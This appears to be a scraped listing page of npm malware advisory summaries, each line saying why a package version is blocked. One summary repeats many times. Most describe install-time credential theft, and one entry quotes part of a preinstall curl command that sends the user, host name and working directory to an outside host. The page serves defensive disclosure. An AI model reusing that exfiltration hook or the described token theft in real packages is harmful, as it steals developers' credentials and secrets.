npm advisory reports, with evidence.
Investigate malicious npm packages reported through OSV and public advisories. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision.
Security reports — page 532
Updated 25 Oct 2026, 09:56 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4510 blocks this version. On `npm install`, the package's `postinstall` hook runs `setup.js`, which decodes an embedded base64 string into a tar.gz f...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4185 blocks this version. Package claims an internal-scope corporate name (`uolcs-host-uol-anuncios-fe`) on public npm, version-pinned to 99.99.99 —...
OpenSSF/OSV malware advisory MAL-2026-4605 blocks this version. package.json declares a preinstall lifecycle hook that runs `curl https://huntr.site/depconf/$(whoami)@$(hostname)?pwd=$(pw...
OpenSSF/OSV malware advisory MAL-2026-4605 blocks this version. package.json declares a preinstall lifecycle hook that runs `curl https://huntr.site/depconf/$(whoami)@$(hostname)?pwd=$(pw...
OpenSSF/OSV malware advisory MAL-2026-4605 blocks this version. package.json declares a preinstall lifecycle hook that runs `curl https://huntr.site/depconf/$(whoami)@$(hostname)?pwd=$(pw...
OpenSSF/OSV malware advisory MAL-2026-4662 blocks this version. On `npm install` (scripts.install runs `node index.js`) and on `require('rendezvous-js')`, lib/core.js collects `os.userInf...
OpenSSF/OSV malware advisory MAL-2026-4569 blocks this version. On `npm install` (via scripts.install: `node index.js`) and on every `require('gator-client')`, lib/core.js collects `os.us...